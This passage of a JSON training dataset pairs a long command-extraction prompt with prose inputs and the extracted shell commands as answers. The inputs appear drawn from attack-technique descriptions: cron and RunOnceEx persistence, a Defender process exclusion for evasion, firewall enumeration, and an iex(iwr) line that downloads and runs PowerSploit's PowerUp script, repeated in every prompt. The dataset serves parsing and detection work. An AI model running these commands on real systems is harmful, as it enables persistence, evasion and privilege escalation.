    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Windows toast notifications for the current user, you can modify the registry by running the following command in the cmd console: reg add HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For persistent execution, configure a script to run on hourly, daily, monthly, and weekly schedules by running: echo \"#{command}\" > /etc/cron.daily/#{cron_script_name}\necho \"#{command}\" > /etc/cron.hourly/#{cron_script_name}\necho \"#{command}\" > /etc/cron.monthly/#{cron_script_name}\necho \"#{command}\" > /etc/cron.weekly/#{cron_script_name}",
    "output": "{\"command_list\": [\"echo \\\"#{command}\\\" > /etc/cron.daily/#{cron_script_name}\\necho \\\"#{command}\\\" > /etc/cron.hourly/#{cron_script_name}\\necho \\\"#{command}\\\" > /etc/cron.monthly/#{cron_script_name}\\necho \\\"#{command}\\\" > /etc/cron.weekly/#{cron_script_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish RunOnce key persistence, modify the registry with the following command: REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"#{thing_to_execute}\"\n",
    "output": "{\"command_list\": [\"REG ADD HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"#{thing_to_execute}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To verify internet connectivity and check outbound SMB access on port 445, use the following PowerShell command: Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}",
    "output": "{\"command_list\": [\"Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate the Windows firewall and retrieve its rules from the target computer, use the following command: Get-NetFirewallProfile | Format-Table Name, Enabled\nGet-NetFirewallSetting\nGet-NetFirewallRule | select DisplayName, Enabled, Description\n",
    "output": "{\"command_list\": [\"Get-NetFirewallProfile | Format-Table Name, Enabled\\nGet-NetFirewallSetting\\nGet-NetFirewallRule | select DisplayName, Enabled, Description\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify potential privilege escalation vectors, run the following PowerShell commands: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\nInvoke-AllChecks",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To evade detection, malware can exclude specific processes from scanning by running the following PowerShell command: $excludedProcess = \"#{excluded_process}\"\nAdd-MpPreference -ExclusionProcess $excludedProcess",
    "output": "{\"command_list\": [\"$excludedProcess = \\\"#{excluded_process}\\\"\\nAdd-MpPreference -ExclusionProcess $excludedProcess\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 